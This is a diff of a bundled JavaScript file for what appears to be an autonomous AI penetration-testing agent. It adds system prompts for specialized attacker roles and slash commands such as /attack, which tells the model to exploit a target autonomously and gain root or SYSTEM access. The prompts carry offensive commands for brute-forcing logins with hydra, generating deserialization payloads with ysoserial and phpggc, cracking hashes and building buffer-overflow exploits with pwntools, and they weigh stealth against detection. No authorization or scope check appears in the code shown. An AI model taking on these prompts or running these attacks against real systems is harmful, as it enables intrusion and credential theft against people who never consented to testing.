+ admin:admin, admin:password, root:root, admin:admin123
2231
+
2232
+ # Brute force
2233
+ hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "URL:user=^USER^&pass=^PASS^:Invalid"
2234
+
2235
+ # JWT attacks
2236
+ jwt_tool TOKEN -T # Tamper
2237
+ jwt_tool TOKEN -I # Injection
2238
+ \`\`\`
2239
+
2240
+ ## Deserialization
2241
+
2242
+ \`\`\`bash
2243
+ # Java
2244
+ java -jar ysoserial.jar CommonsCollections1 'COMMAND' | base64
2245
+
2246
+ # PHP
2247
+ phpggc Laravel/RCE1 system 'id' | base64
2248
+
2249
+ # Python
2250
+ python -c 'import pickle; # craft malicious pickle'
2251
+ \`\`\``
2252
+ };
2253
+ var CRYPTO_SOLVER = {
2254
+ name: "crypto-solver",
2255
+ description: "Cryptographic challenges, hash cracking, cipher identification, key recovery.",
2256
+ phase: "exploitation",
2257
+ tools: ["bash", "hashcat", "john", "openssl", "python"],
2258
+ systemPrompt: `# Crypto Solver
2259
+
2260
+ Expert in cryptography and hash cracking.
2261
+
2262
+ ## Hash Identification
2263
+
2264
+ \`\`\`bash
2265
+ hashid HASH
2266
+ hash-identifier
2267
+ \`\`\`
2268
+
2269
+ ## Hash Cracking
2270
+
2271
+ ### Hashcat Modes
2272
+ | Type | Mode |
2273
+ |------|------|
2274
+ | MD5 | 0 |
2275
+ | SHA1 | 100 |
2276
+ | SHA256 | 1400 |
2277
+ | NTLM | 1000 |
2278
+ | bcrypt | 3200 |
2279
+ | Kerberos TGS | 13100 |
2280
+ | Kerberos AS-REP | 18200 |
2281
+
2282
+ ### Commands
2283
+ \`\`\`bash
2284
+ # Dictionary attack
2285
+ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
2286
+
2287
+ # Rules
2288
+ hashcat -m 0 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
2289
+
2290
+ # Bruteforce
2291
+ hashcat -m 0 hashes.txt -a 3 ?a?a?a?a?a?a
2292
+ \`\`\`
2293
+
2294
+ ## Common Attacks
2295
+
2296
+ ### Padding Oracle
2297
+ \`\`\`bash
2298
+ padbuster URL CIPHERTEXT 8 -encoding 0
2299
+ \`\`\`
2300
+
2301
+ ### RSA Attacks
2302
+ - Small e with small message
2303
+ - Wiener's attack (small d)
2304
+ - Common modulus attack
2305
+ - Factorization (FactorDB)
2306
+
2307
+ ### XOR
2308
+ \`\`\`python
2309
+ from pwn import xor
2310
+ key = xor(ciphertext, known_plaintext)
2311
+ \`\`\`
2312
+
2313
+ ## CTF Crypto Patterns
2314
+ - Base64/32/16 encoding
2315
+ - ROT13/Caesar shift
2316
+ - Vigenere cipher
2317
+ - RSA with weak parameters
2318
+ - AES-ECB patterns
2319
+ - Timing attacks`
2320
+ };
2321
+ var FORENSICS_ANALYST = {
2322
+ name: "forensics-analyst",
2323
+ description: "Digital forensics, memory analysis, file carving, steganography, log analysis.",
2324
+ phase: "exploitation",
2325
+ tools: ["bash", "volatility", "binwalk", "foremost", "steghide", "exiftool"],
2326
+ systemPrompt: `# Forensics Analyst
2327
+
2328
+ Expert in digital forensics and evidence analysis.
2329
+
2330
+ ## Memory Forensics (Volatility 3)
2331
+
2332
+ \`\`\`bash
2333
+ # Profile identification
2334
+ vol.py -f memory.dmp windows.info
2335
+
2336
+ # Process list
2337
+ vol.py -f memory.dmp windows.pslist
2338
+ vol.py -f memory.dmp windows.pstree
2339
+
2340
+ # Network connections
2341
+ vol.py -f memory.dmp windows.netscan
2342
+
2343
+ # Command history
2344
+ vol.py -f memory.dmp windows.cmdline
2345
+
2346
+ # Dump process
2347
+ vol.py -f memory.dmp windows.memmap --pid PID --dump
2348
+
2349
+ # Registry
2350
+ vol.py -f memory.dmp windows.registry.hivelist
2351
+ vol.py -f memory.dmp windows.hashdump
2352
+ \`\`\`
2353
+
2354
+ ## File Analysis
2355
+
2356
+ \`\`\`bash
2357
+ # File type
2358
+ file suspicious_file
2359
+ xxd suspicious_file | head
2360
+
2361
+ # Strings
2362
+ strings -n 8 file
2363
+ strings -e l file # Unicode
2364
+
2365
+ # Metadata
2366
+ exiftool file
2367
+
2368
+ # Embedded files
2369
+ binwalk file
2370
+ binwalk -e file # Extract
2371
+ foremost -i file
2372
+ \`\`\`
2373
+
2374
+ ## Steganography
2375
+
2376
+ \`\`\`bash
2377
+ # Image analysis
2378
+ steghide info image.jpg
2379
+ steghide extract -sf image.jpg
2380
+
2381
+ stegsolve # GUI tool
2382
+ zsteg image.png
2383
+ \`\`\`
2384
+
2385
+ ## Disk Forensics
2386
+
2387
+ \`\`\`bash
2388
+ # Mount image
2389
+ mount -o ro,loop disk.img /mnt/disk
2390
+
2391
+ # Deleted file recovery
2392
+ photorec disk.img
2393
+ testdisk disk.img
2394
+
2395
+ # Timeline
2396
+ fls -r -m / disk.img | mactime -b - > timeline.txt
2397
+ \`\`\`
2398
+
2399
+ ## Log Analysis
2400
+
2401
+ \`\`\`bash
2402
+ # Linux auth logs
2403
+ grep -r "Failed password" /var/log/auth.log
2404
+ grep -r "Accepted" /var/log/auth.log
2405
+
2406
+ # Apache logs
2407
+ cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn
2408
+
2409
+ # Windows events
2410
+ wevtutil qe Security /f:text
2411
+ \`\`\``
2412
+ };
2413
+ var REVERSE_ENGINEER = {
2414
+ name: "reverse-engineer",
2415
+ description: "Binary analysis, disassembly, debugging, exploit development, pwn challenges.",
2416
+ phase: "exploitation",
2417
+ tools: ["bash", "gdb", "radare2", "ghidra", "objdump", "pwntools"],
2418
+ systemPrompt: `# Reverse Engineer
2419
+
2420
+ Expert in binary analysis and exploit development.
2421
+
2422
+ ## Static Analysis
2423
+
2424
+ \`\`\`bash
2425
+ # File info
2426
+ file binary
2427
+ checksec binary
2428
+
2429
+ # Symbols
2430
+ nm binary
2431
+ objdump -t binary
2432
+
2433
+ # Disassemble
2434
+ objdump -d binary
2435
+ radare2 binary
2436
+ aaa # Analyze
2437
+ afl # List functions
2438
+ pdf @main # Disassemble main
2439
+ \`\`\`
2440
+
2441
+ ## Dynamic Analysis (GDB)
2442
+
2443
+ \`\`\`bash
2444
+ gdb ./binary
2445
+ set disassembly-flavor intel
2446
+ break main
2447
+ run
2448
+ disass
2449
+ x/20xg $rsp # Examine stack
2450
+ x/s ADDRESS # Examine string
2451
+ info registers
2452
+ \`\`\`
2453
+
2454
+ ### GDB with pwndbg/peda
2455
+ \`\`\`bash
2456
+ checksec
2457
+ vmmap
2458
+ telescope
2459
+ pattern create 200
2460
+ pattern offset VALUE
2461
+ \`\`\`
2462
+
2463
+ ## Exploit Development
2464
+
2465
+ ### Buffer Overflow
2466
+ \`\`\`python
2467
+ from pwn import *
2468
+
2469
+ elf = ELF('./binary')
2470
+ p = process('./binary')
2471
+ # or p = remote('target', port)
2472
+
2473
+ offset = 64
2474
+ ret = 0x401234
2475
+
2476
+ payload = flat(
2477
+ b'A' * offset,
2478
+ ret
2479
+ )
2480
+
2481
+ p.sendline(payload)
2482
+ p.interactive()
2483
+ \`\`\`
2484
+
2485
+ ### ROP Chains
2486
+ \`\`\`bash
2487
+ ropper --file binary --search "pop rdi"
2488
+ ROPgadget --binary binary --ropchain
2489
+ \`\`\`
2490
+
2491
+ ### Format String
2492
+ \`\`\`python
2493
+ # Read: %p %x %s
2494
+ # Write: %n %hn %hhn
2495
+ payload = fmtstr_payload(offset, {address: value})
2496
+ \`\`\`
2497
+
2498
+ ## Common Protections
2499
+ - ASLR: Leak addresses
2500
+ - PIE: Partial overwrite or leak
2501
+ - NX: ROP chain
2502
+ - Canary: Leak or brute force
2503
+ - RELRO: GOT overwrite (partial) or use stack`
2504
+ };
2505
+ var ATTACK_ARCHITECT = {
2506
+ name: "attack-architect",
2507
+ description: "Design attack strategies and exploitation blueprints based on reconnaissance findings.",
2508
+ phase: "vuln-analysis",
2509
+ tools: ["bash", "read", "write"],
2510
+ systemPrompt: `# Attack Architect Agent
2511
+
2512
+ You are a senior penetration tester who designs comprehensive attack strategies.
2513
+
2514
+ ## Core Process
2515
+
2516
+ **1. Finding Analysis**
2517
+ Review all reconnaissance findings. Understand the target architecture, services, and identified vulnerabilities.
2518
+
2519
+ **2. Attack Vector Prioritization**
2520
+ Rank attack vectors by:
2521
+ - Likelihood of success (confidence score)
2522
+ - Impact if successful
2523
+ - Stealth/noise level
2524
+ - Dependencies and prerequisites
2525
+
2526
+ **3. Attack Chain Design**
2527
+ Design complete attack chains from initial access to objective:
2528
+ - Initial access vector
2529
+ - Privilege escalation path
2530
+ - Lateral movement plan (if needed)
2531
+ - Objective achievement steps
2532
+
2533
+ **4. Fallback Planning**
2534
+ For each attack, plan alternatives if it fails:
2535
+ - Alternative exploits
2536
+ - Different entry points
2537
+ - Pivot strategies
2538
+
2539
+ ## Output Format
2540
+
2541
+ Deliver a decisive attack blueprint:
2542
+
2543
+ - **Target Summary**: Key services, versions, identified vulnerabilities
2544
+ - **Primary Attack Chain**: Step-by-step exploitation plan
2545
+ - **Attack Vector Rankings**: Prioritized list with confidence scores (0-100)
2546
+ - **Exploit Selection**: Specific exploits/techniques for each step
2547
+ - **Prerequisites**: Tools, payloads, setup needed
2548
+ - **Fallback Options**: Alternative approaches if primary fails
2549
+ - **Risk Assessment**: Detection likelihood, cleanup needed
2550
+
2551
+ Make confident decisions. Present ONE recommended plan with alternatives, not multiple equally-weighted options.
2552
+
2553
+ ## Confidence Scoring
2554
+
2555
+ For each attack vector, assign confidence 0-100:
2556
+ - 90-100: Confirmed vulnerable, exploit tested
2557
+ - 75-89: Strong evidence of vulnerability
2558
+ - 50-74: Likely vulnerable based on version/config
2559
+ - 25-49: Possible but unconfirmed
2560
+ - 0-24: Theoretical only`
2561
+ };
2562
+ var FINDING_REVIEWER = {
2563
+ name: "finding-reviewer",
2564
+ description: "Validate and prioritize findings. Filter false positives, assign confidence scores.",
2565
+ phase: "vuln-analysis",
2566
+ tools: ["bash", "read"],
2567
+ systemPrompt: `# Finding Reviewer
2568
+
2569
+ Expert in vulnerability validation and false positive elimination.
2570
+
2571
+ ## Review Process
2572
+
2573
+ 1. **Categorize Finding**
2574
+ - Is it a true vulnerability or misconfiguration?
2575
+ - What is the attack vector?
2576
+ - What is the potential impact?
2577
+
2578
+ 2. **Validate Evidence**
2579
+ - Can we reproduce the finding?
2580
+ - Is there concrete proof (error messages, response differences)?
2581
+ - Could this be a false positive?
2582
+
2583
+ 3. **Assign Confidence Score**
2584
+ - 90-100: Confirmed exploitable with proof
2585
+ - 75-89: Strong evidence, should be exploitable
2586
+ - 50-74: Likely vulnerable based on indicators
2587
+ - 25-49: Possible but needs more confirmation
2588
+ - 0-24: Unconfirmed, likely false positive
2589
+
2590
+ 4. **Risk Assessment**
2591
+ - CVSS-like scoring
2592
+ - Business impact consideration
2593
+ - Exploitation difficulty
2594
+
2595
+ ## Validation Techniques
2596
+
2597
+ ### Web Vulnerabilities
2598
+ - SQLi: Error-based confirmation, UNION-based extraction
2599
+ - XSS: Payload execution in browser
2600
+ - LFI: Read known files (/etc/passwd)
2601
+ - RCE: Command execution confirmation (id, whoami)
2602
+
2603
+ ### Network Services
2604
+ - Version confirmation via banner
2605
+ - CVE applicability check
2606
+ - Exploit conditions verification
2607
+
2608
+ ## Output Format
2609
+
2610
+ For each finding:
2611
+ \`\`\`
2612
+ Finding: [Title]
2613
+ Type: [Vulnerability Type]
2614
+ Confidence: [0-100]
2615
+ Severity: [Critical/High/Medium/Low/Info]
2616
+ Evidence: [Proof of vulnerability]
2617
+ Impact: [What an attacker could achieve]
2618
+ Recommendation: [How to exploit / remediate]
2619
+ \`\`\``
2620
+ };
2621
+ var BUILTIN_AGENTS = [
2622
+ TARGET_EXPLORER,
2623
+ EXPLOIT_RESEARCHER,
2624
+ PRIVESC_MASTER,
2625
+ WEB_HACKER,
2626
+ CRYPTO_SOLVER,
2627
+ FORENSICS_ANALYST,
2628
+ REVERSE_ENGINEER,
2629
+ ATTACK_ARCHITECT,
2630
+ FINDING_REVIEWER
2631
+ ];
2632
+ function getAgentByName(name) {
2633
+ return BUILTIN_AGENTS.find((a) => a.name === name);
2634
+ }
2635
+ function buildAgentSystemPrompt(basePrompt, agent) {
2636
+ return `${basePrompt}
2637
+
2638
+ ---
2639
+
2640
+ ## Specialized Agent: ${agent.name}
2641
+
2642
+ ${agent.systemPrompt}`;
2643
+ }
2644
+
2645
+ // src/commands/index.ts
2646
+ var SCAN_COMMAND = {
2647
+ name: "scan",
2648
+ description: "Quick target enumeration",
2649
+ usage: "/scan <target>",
2650
+ aliases: ["s", "enum"],
2651
+ execute: async (args, context) => {
2652
+ const target = args[0] || context.target;
2653
+ if (!target) {
2654
+ return { success: false, output: "Usage: /scan <target>" };
2655
+ }
2656
+ const scanPrompt = `Perform quick enumeration on ${target}:
2657
+ 1. Port scan top 1000 ports
2658
+ 2. Service version detection on open ports
2659
+ 3. Web directory enumeration if HTTP/HTTPS detected
2660
+ 4. List top 5 interesting findings
2661
+
2662
+ Be concise but thorough.`;
2663
+ try {
2664
+ const result = await context.agent.chat(scanPrompt);
2665
+ return { success: true, output: result };
2666
+ } catch (error) {
2667
+ return { success: false, output: `Scan failed: ${error.message}` };
2668
+ }
2669
+ }
2670
+ };
2671
+ var EXPLOIT_COMMAND = {
2672
+ name: "exploit",
2673
+ description: "Search for exploits and optionally execute",
2674
+ usage: "/exploit <service> [version]",
2675
+ aliases: ["exp", "x"],
2676
+ execute: async (args, context) => {
2677
+ if (args.length === 0) {
2678
+ return { success: false, output: "Usage: /exploit <service> [version]" };
2679
+ }
2680
+ const query = args.join(" ");
2681
+ const exploitPrompt = `Search for exploits: ${query}
2682
+
2683
+ 1. Search exploit-db via searchsploit
2684
+ 2. Check CVE databases
2685
+ 3. List available Metasploit modules
2686
+ 4. For each exploit found, rate likelihood of success (0-100)
2687
+
2688
+ Return top 3 most promising exploits with:
2689
+ - CVE/EDB ID
2690
+ - Type (RCE, LFI, SQLi, etc.)
2691
+ - Success probability
2692
+ - Required conditions`;
2693
+ try {
2694
+ const result = await context.agent.chat(exploitPrompt);
2695
+ return { success: true, output: result };
2696
+ } catch (error) {
2697
+ return { success: false, output: `Exploit search failed: ${error.message}` };
2698
+ }
2699
+ }
2700
+ };
2701
+ var PRIVESC_COMMAND = {
2702
+ name: "privesc",
2703
+ description: "Check for privilege escalation vectors",
2704
+ usage: "/privesc [linux|windows]",
2705
+ aliases: ["pe", "priv"],
2706
+ execute: async (args, context) => {
2707
+ const os = args[0]?.toLowerCase() || "linux";
2708
+ const privescPrompt = os === "windows" ? `Check for Windows privilege escalation vectors:
2709
+ 1. whoami /priv - check privileges
2710
+ 2. Check for unquoted service paths
2711
+ 3. Check AlwaysInstallElevated
2712
+ 4. Look for stored credentials
2713
+ 5. Check scheduled tasks
2714
+ 6. Look for writable service binaries
2715
+
2716
+ For each vector found, rate exploitability (0-100) and provide exploitation steps.` : `Check for Linux privilege escalation vectors:
2717
+ 1. sudo -l - check sudo permissions
2718
+ 2. find SUID binaries
2719
+ 3. Check capabilities
2720
+ 4. Review cron jobs
2721
+ 5. Check kernel version
2722
+ 6. Look for writable sensitive files
2723
+
2724
+ For each vector found, rate exploitability (0-100) and provide GTFOBins/exploitation steps.`;
2725
+ try {
2726
+ const result = await context.agent.chat(privescPrompt);
2727
+ return { success: true, output: result };
2728
+ } catch (error) {
2729
+ return { success: false, output: `Privesc check failed: ${error.message}` };
2730
+ }
2731
+ }
2732
+ };
2733
+ var VULN_REVIEW_COMMAND = {
2734
+ name: "vuln-review",
2735
+ description: "Review and prioritize all findings",
2736
+ usage: "/vuln-review",
2737
+ aliases: ["review", "findings"],
2738
+ execute: async (_args, context) => {
2739
+ const state = context.agent.getState();
2740
+ const findings = state.findings || [];
2741
+ if (findings.length === 0) {
2742
+ return { success: true, output: "No findings to review. Run /scan first." };
2743
+ }
2744
+ const reviewPrompt = `Review the following ${findings.length} findings and prioritize:
2745
+
2746
+ ${findings.map((f, i) => `${i + 1}. [${f.severity}] ${f.title}: ${f.description}`).join("\n")}
2747
+
2748
+ For each finding:
2749
+ 1. Validate if it's a true positive
2750
+ 2. Adjust confidence score if needed
2751
+ 3. Prioritize by exploitability
2752
+
2753
+ Return prioritized attack plan.`;
2754
+ try {
2755
+ const result = await context.agent.chat(reviewPrompt);
2756
+ return { success: true, output: result };
2757
+ } catch (error) {
2758
+ return { success: false, output: `Review failed: ${error.message}` };
2759
+ }
2760
+ }
2761
+ };
2762
+ var ATTACK_COMMAND = {
2763
+ name: "attack",
2764
+ description: "Execute attack chain on target",
2765
+ usage: "/attack <objective>",
2766
+ aliases: ["pwn", "hack"],
2767
+ execute: async (args, context) => {
2768
+ const objective = args.join(" ") || "Gain root/SYSTEM access";
2769
+ const target = context.target || context.agent.getState().target?.primary;
2770
+ if (!target) {
2771
+ return { success: false, output: "No target set. Use /target first." };
2772
+ }
2773
+ const attackPrompt = `Execute attack chain on ${target}
2774
+ Objective: ${objective}
2775
+
2776
+ 1. Review current findings and access level
2777
+ 2. Select best attack vector
2778
+ 3. Execute exploitation
2779
+ 4. Escalate privileges if needed
2780
+ 5. Achieve objective
2781
+
2782
+ Be autonomous but log every step. If something fails, try alternative approaches.`;
2783
+ try {
2784
+ await context.agent.runAutonomous(attackPrompt);
2785
+ return { success: true, output: "Attack chain complete." };
2786
+ } catch (error) {
2787
+ return { success: false, output: `Attack failed: ${error.message}` };
2788
+ }
2789
+ }
2790
+ };
2791
+ var REPORT_COMMAND = {
2792
+ name: "report",
2793
+ description: "Generate penetration testing report",
2794
+ usage: "/report [format]",
2795
+ aliases: ["rep"],
2796
+ execute: async (_args, context) => {
2797
+ const state = context.agent.getState();
2798
+ const reportPrompt = `Generate a penetration testing report:
2799
+
2800
+ ## Executive Summary
2801
+ Brief overview of the engagement.
2802
+
2803
+ ## Scope
2804
+ Target: ${state.target?.primary || "Unknown"}
2805
+
2806
+ ## Findings Summary
2807
+ ${state.findings?.length || 0} vulnerabilities identified.
2808
+
2809
+ ## Detailed Findings
2810
+ ${state.findings?.map((f) => `- [${f.severity}] ${f.title}`).join("\n") || "None"}
2811
+
2812
+ ## Credentials Obtained
2813
+ ${state.credentials?.length || 0} credentials
2814
+
2815
+ ## Hosts Compromised
2816
+ ${state.compromisedHosts?.join(", ") || "None"}
2817
+
2818
+ ## Attack Path
2819
+ Describe the successful attack chain.
2820
+
2821
+ ## Recommendations
2822
+ Prioritized remediation steps.
2823
+
2824
+ Format as markdown.`;
2825
+ try {
2826
+ const result = await context.agent.chat(reportPrompt);
2827
+ return { success: true, output: result };
2828
+ } catch (error) {
2829
+ return { success: false, output: `Report generation failed: ${error.message}` };
2830
+ }
1914
2831
  }
1915
- // Disconnect all
1916
- async disconnectAll() {
1917
- for (const client of this.clients.values()) {
1918
- await client.disconnect();
2832
+ };
2833
+ var WEB_COMMAND = {
2834
+ name: "web",
2835
+ description: "Web application security testing",
2836
+ usage: "/web <url>",
2837
+ aliases: ["webapp"],
2838
+ execute: async (args, context) => {
2839
+ const url = args[0];
2840
+ if (!url) {
2841
+ return { success: false, output: "Usage: /web <url>" };
2842
+ }
2843
+ const webPrompt = `Perform web application security testing on ${url}:
2844
+
2845
+ 1. Technology fingerprinting (Wappalyzer, whatweb)
2846
+ 2. Directory enumeration
2847
+ 3. SQLi testing on parameters
2848
+ 4. XSS testing on inputs
2849
+ 5. Authentication testing
2850
+ 6. Look for sensitive files (robots.txt, .git, .env)
2851
+
2852
+ For each vulnerability found, provide:
2853
+ - Type
2854
+ - Proof of concept
2855
+ - Impact
2856
+ - Confidence score`;
2857
+ try {
2858
+ const result = await context.agent.chat(webPrompt);
2859
+ return { success: true, output: result };
2860
+ } catch (error) {
2861
+ return { success: false, output: `Web testing failed: ${error.message}` };
1919
2862
  }
1920
- this.clients.clear();
1921
- this.tools.clear();
1922
2863
  }
1923
2864
  };
1924
- var mcpManager = null;
1925
- function getMCPManager() {
1926
- if (!mcpManager) {
1927
- mcpManager = new MCPManager();
1928
- }
1929
- return mcpManager;
1930
- }
2865
+ var HASH_COMMAND = {
2866
+ name: "hash",
2867
+ description: "Identify and crack hashes",
2868
+ usage: "/hash <hash>",
2869
+ aliases: ["crack"],
2870
+ execute: async (args, context) => {
2871
+ const hash = args[0];
2872
+ if (!hash) {
2873
+ return { success: false, output: "Usage: /hash <hash>" };
2874
+ }
2875
+ const hashPrompt = `Analyze and crack this hash: ${hash}
1931
2876
 
1932
- // src/core/tools/web-search.ts
1933
- import { spawn as spawn4 } from "child_process";
1934
- async function searchDuckDuckGo(query, options = {}) {
1935
- const { maxResults = 10, timeout = 3e4 } = options;
1936
- return new Promise((resolve2) => {
1937
- const url = `https://html.duckduckgo.com/html/?q=${encodeURIComponent(query)}`;
1938
- const proc = spawn4("curl", [
1939
- "-s",
1940
- "-A",
1941
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
1942
- url
1943
- ], { timeout });
1944
- let stdout = "";
1945
- proc.stdout.on("data", (data) => {
1946
- stdout += data.toString();
1947
- });
1948
- proc.on("close", () => {
1949
- const results = [];
1950
- const resultRegex = /<a[^>]+class="result__a"[^>]+href="([^"]+)"[^>]*>([^<]+)<\/a>/g;
1951
- const snippetRegex = /<a[^>]+class="result__snippet"[^>]*>([^<]+)<\/a>/g;
1952
- let match;
1953
- const urls = [];
1954
- const titles = [];
1955
- const snippets = [];
1956
- while ((match = resultRegex.exec(stdout)) !== null) {
1957
- urls.push(match[1]);
1958
- titles.push(match[2]);
1959
- }
1960
- while ((match = snippetRegex.exec(stdout)) !== null) {
1961
- snippets.push(match[1]);
1962
- }
1963
- for (let i = 0; i < Math.min(urls.length, maxResults); i++) {
1964
- results.push({
1965
- title: titles[i] || "",
1966
- url: urls[i] || "",
1967
- snippet: snippets[i] || ""
1968
- });
1969
- }
1970
- resolve2(results);
1971
- });
1972
- proc.on("error", () => {
1973
- resolve2([]);
1974
- });
1975
- });
1976
- }
1977
- async function searchCVE(query) {
1978
- return searchDuckDuckGo(`${query} site:cve.mitre.org OR site:nvd.nist.gov`);
2877
+ 1. Identify hash type (hashid, hash-identifier)
2878
+ 2. Determine hashcat mode
2879
+ 3. Attempt cracking with rockyou.txt
2880
+ 4. If not cracked, suggest more wordlists or rules
2881
+
2882
+ Report: hash type, cracked password (if successful), or recommendations.`;
2883
+ try {
2884
+ const result = await context.agent.chat(hashPrompt);
2885
+ return { success: true, output: result };
2886
+ } catch (error) {
2887
+ return { success: false, output: `Hash cracking failed: ${error.message}` };
2888
+ }
2889
+ }
2890
+ };
2891
+ var BUILTIN_COMMANDS = [
2892
+ SCAN_COMMAND,
2893
+ EXPLOIT_COMMAND,
2894
+ PRIVESC_COMMAND,
2895
+ VULN_REVIEW_COMMAND,
2896
+ ATTACK_COMMAND,
2897
+ REPORT_COMMAND,
2898
+ WEB_COMMAND,
2899
+ HASH_COMMAND
2900
+ ];
2901
+ function getCommandByName(name) {
2902
+ return BUILTIN_COMMANDS.find(
2903
+ (c) => c.name === name || c.aliases?.includes(name)
2904
+ );
1979
2905
  }
1980
- async function searchExploits(query) {
1981
- return searchDuckDuckGo(`${query} site:exploit-db.com OR site:github.com exploit`);
2906
+ async function executeCommand(name, args, context) {
2907
+ const command = getCommandByName(name);
2908
+ if (!command) {
2909
+ return { success: false, output: `Unknown command: ${name}` };
2910
+ }
2911
+ return command.execute(args, context);
1982
2912
  }
1983
2913
 
1984
2914
  // src/core/agent/autonomous-agent.ts
@@ -2033,12 +2963,12 @@ var AutonomousHackingAgent = class extends EventEmitter3 {
2033
2963
  state;
2034
2964
  config;
2035
2965
  tools;
2036
- pluginAgents = [];
2966
+ builtinAgents = BUILTIN_AGENTS;
2037
2967
  currentAgent = null;
2038
2968
  // Integrated systems
2039
2969
  hookExecutor;
2040
- commandRegistry;
2041
2970
  mcpManager;
2971
+ contextManager;
2042
2972
  // Rabbit hole detection settings
2043
2973
  STUCK_THRESHOLD = 5;
2044
2974
  // Same action repeat count
@@ -2049,33 +2979,46 @@ var AutonomousHackingAgent = class extends EventEmitter3 {
2049
2979
  constructor(apiKey, config) {
2050
2980
  super();
2051
2981
  this.client = new Anthropic({
2052
- apiKey: apiKey || process.env.ANTHROPIC_API_KEY
2982
+ apiKey: apiKey || process.env.ANTHROPIC_API_KEY,
2983
+ baseURL: ANTHROPIC_BASE_URL
2053
2984
  });
2054
2985
  this.config = { ...AGENT_CONFIG, ...config };
2055
2986
  this.tools = ALL_TOOLS;
2056
2987
  this.hookExecutor = getHookExecutor();
2057
- this.commandRegistry = getCommandRegistry();
2058
2988
  this.mcpManager = getMCPManager();
2989
+ this.contextManager = new ContextManager(this.client);
2059
2990
  this.state = this.createInitialState();
2060
- this.initPlugins();
2991
+ this.initSystems();
2061
2992
  }
2062
- // Initialize plugin system
2063
- async initPlugins() {
2993
+ // Initialize systems (hooks, MCP)
2994
+ async initSystems() {
2064
2995
  try {
2065
- const agentsDir = new URL("../../../../plugins/pentesting-core/agents", import.meta.url).pathname;
2066
- this.pluginAgents = await loadAllAgents(agentsDir);
2067
- this.emit(AGENT_EVENT.PLUGINS_LOADED, { agents: this.pluginAgents.length });
2996
+ this.emit(AGENT_EVENT.PLUGINS_LOADED, { agents: this.builtinAgents.length });
2068
2997
  await this.hookExecutor.initialize();
2069
2998
  this.emit(AGENT_EVENT.HOOKS_LOADED);
2070
- await this.commandRegistry.initialize();
2071
- this.emit(AGENT_EVENT.COMMANDS_LOADED);
2999
+ this.emit(AGENT_EVENT.COMMANDS_LOADED, { commands: BUILTIN_COMMANDS.length });
2072
3000
  } catch {
2073
3001
  }
2074
3002
  }
2075
- // Add MCP server at runtime
3003
+ // Add MCP server at runtime and integrate its tools
2076
3004
  async addMCPServer(name, command, args) {
2077
3005
  await this.mcpManager.addServer(name, { command, args });
2078
- this.emit(AGENT_EVENT.MCP_SERVER_ADDED, { name });
3006
+ const mcpTools = this.mcpManager.getAvailableTools();
3007
+ for (const mcpTool of mcpTools) {
3008
+ const anthropicTool = {
3009
+ name: mcpTool.name,
3010
+ description: mcpTool.description,
3011
+ input_schema: mcpTool.inputSchema
3012
+ };
3013
+ if (!this.tools.find((t) => t.name === mcpTool.name)) {
3014
+ this.tools.push(anthropicTool);
3015
+ }
3016
+ }
3017
+ this.emit(AGENT_EVENT.MCP_SERVER_ADDED, { name, toolCount: mcpTools.length });
3018
+ }
3019
+ // Get all MCP tools
3020
+ getMCPTools() {
3021
+ return this.mcpManager.getAvailableTools().map((t) => t.name);
2079
3022
  }
2080
3023
  // Web search capabilities
2081
3024
  async webSearch(query) {
@@ -2096,35 +3039,37 @@ var AutonomousHackingAgent = class extends EventEmitter3 {
2096
3039
  this.think(THOUGHT_TYPE.RESULT, `Found ${results.length} exploit results`);
2097
3040
  return results;
2098
3041
  }
2099
- // Process slash command
3042
+ // Process slash command using built-in commands
2100
3043
  async processCommand(input) {
2101
- const parsed = parseCommand(input);
2102
- if (!parsed) return null;
2103
- const cmd = await this.commandRegistry.getCommand(parsed.command);
2104
- if (!cmd) {
2105
- return `Unknown command: /${parsed.command}
2106
- ${await this.commandRegistry.getHelp()}`;
2107
- }
2108
- this.think(THOUGHT_TYPE.PLAN, `Executing command: /${cmd.name}`);
2109
- this.emit(AGENT_EVENT.COMMAND_EXECUTE, { command: cmd.name, args: parsed.rawArgs });
2110
- return cmd.content;
2111
- }
2112
- // Switch to specialized agent
3044
+ if (!input.startsWith("/")) return null;
3045
+ const parts = input.slice(1).split(" ");
3046
+ const cmdName = parts[0];
3047
+ const args = parts.slice(1);
3048
+ const context = {
3049
+ agent: this,
3050
+ target: this.state.target.primary
3051
+ };
3052
+ const result = await executeCommand(cmdName, args, context);
3053
+ this.think(THOUGHT_TYPE.PLAN, `Executed command: /${cmdName}`);
3054
+ this.emit(AGENT_EVENT.COMMAND_EXECUTE, { command: cmdName, args });
3055
+ return result.output;
3056
+ }
3057
+ // Switch to specialized built-in agent
2113
3058
  async useAgent(agentName) {
2114
- const agent = this.pluginAgents.find(
3059
+ const agent = this.builtinAgents.find(
2115
3060
  (a) => a.name === agentName || a.name === agentName.replace(/-/g, "_") || a.name.includes(agentName)
2116
3061
  );
2117
3062
  if (agent) {
2118
3063
  this.currentAgent = agent;
2119
3064
  this.think(THOUGHT_TYPE.PLAN, `Switching to specialized agent: ${agent.name}`);
2120
- this.emit(AGENT_EVENT.AGENT_SWITCH, agent);
3065
+ this.emit(AGENT_EVENT.AGENT_SWITCH, { name: agent.name, description: agent.description });
2121
3066
  return true;
2122
3067
  }
2123
3068
  return false;
2124
3069
  }
2125
3070
  // Get available agents
2126
3071
  getAvailableAgents() {
2127
- return this.pluginAgents.map((a) => a.name);
3072
+ return this.builtinAgents.map((a) => a.name);
2128
3073
  }
2129
3074
  // ===== State Management =====
2130
3075
  createInitialState() {
@@ -2142,6 +3087,8 @@ ${await this.commandRegistry.getHelp()}`;
2142
3087
  phases: DEFAULT_PHASES.map((p) => ({ ...p, findings: [], notes: [] })),
2143
3088
  thoughts: [],
2144
3089
  findings: [],
3090
+ credentials: [],
3091
+ compromisedHosts: [],
2145
3092
  iteration: 0,
2146
3093
  fullAttempts: 0,
2147
3094
  successfulExploits: 0,
@@ -2207,11 +3154,38 @@ ${await this.commandRegistry.getHelp()}`;
2207
3154
  this.state.currentPhase = nextPhase.id;
2208
3155
  this.setPhaseStatus(nextPhase.id, PHASE_STATUS.IN_PROGRESS);
2209
3156
  this.think(THOUGHT_TYPE.PLAN, `Advancing to next phase: ${nextPhase.shortName}`);
3157
+ this.autoSwitchAgentForPhase(nextPhase.id);
2210
3158
  this.resetStuckCounter();
2211
3159
  return true;
2212
3160
  }
2213
3161
  return false;
